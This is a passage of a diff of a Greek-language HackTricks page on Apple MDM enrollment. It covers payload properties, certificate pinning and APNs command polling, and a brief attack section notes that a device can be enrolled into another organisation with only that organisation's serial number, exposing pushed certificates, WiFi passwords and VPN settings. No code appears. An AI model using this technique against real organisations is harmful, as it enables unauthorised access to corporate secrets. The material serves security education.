τεκμηρίωση** +- Το payload **περιέχει βασικές ιδιότητες**: +- - URL Ελέγχου MDM (**`CheckInURL`**) +- URL Ελέγχου Εντολών MDM (**`ServerURL`**) + θέμα APNs για την ενεργοποίησή του +- Για να εγκαταστήσετε το payload MDM, το αίτημα αποστέλλεται στο **`CheckInURL`** +- Υλοποιείται στο **`mdmclient`** +- Το payload MDM μπορεί να εξαρτάται από άλλα payloads +- Επιτρέπει **αιτήματα να είναι pinned σε συγκεκριμένα πιστοποιητικά**: +- Ιδιότητα: **`CheckInURLPinningCertificateUUIDs`** +- Ιδιότητα: **`ServerURLPinningCertificateUUIDs`** +- Παρέχεται μέσω payload PEM +- Επιτρέπει στη συσκευή να αποδοθεί με ένα πιστοποιητικό ταυτότητας: +- Ιδιότητα: IdentityCertificateUUID +- Παρέχεται μέσω payload SCEP + +### **Βήμα 7: Ακρόαση για εντολές MDM** + +- Αφού ολοκληρωθεί ο έλεγχος MDM, ο προμηθευτής μπορεί να **εκδώσει ειδοποιήσεις push χρησιμοποιώντας APNs** +- Κατά την παραλαβή, διαχειρίζεται από το **`mdmclient`** +- Για να ελέγξει τις εντολές MDM, το αίτημα αποστέλλεται στο ServerURL +- Χρησιμοποιεί το προηγουμένως εγκατεστημένο payload MDM: +- **`ServerURLPinningCertificateUUIDs`** για pinning του αιτήματος +- **`IdentityCertificateUUID`** για το πιστοποιητικό πελάτη TLS + +## Επιθέσεις + +### Εγγραφή Συσκευών σε Άλλες Οργανώσεις + +Όπως έχει σχολιαστεί προηγουμένως, για να προσπαθήσετε να εγγράψετε μια συσκευή σε μια οργάνωση **χρειάζεται μόνο ένας Αριθμός Σειράς που ανήκει σε αυτή την Οργάνωση**. Μόλις η συσκευή εγγραφεί, πολλές οργανώσεις θα εγκαταστήσουν ευαίσθητα δεδομένα στη νέα συσκευή: πιστοποιητικά, εφαρμογές, κωδικούς πρόσβασης WiFi, ρυθμίσεις VPN [και ούτω καθεξής](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ +Επομένως, αυτό θα μπορούσε να είναι ένα επικίνδυνο σημείο εισόδου για τους επιτιθέμενους εάν η διαδικασία εγγραφής δεν προστατεύεται σωστά: + +{{#ref}} +enrolling-devices-in-other-organisations.md +{{#endref}} + +{{#include ../../../banners/hacktricks-training.md}}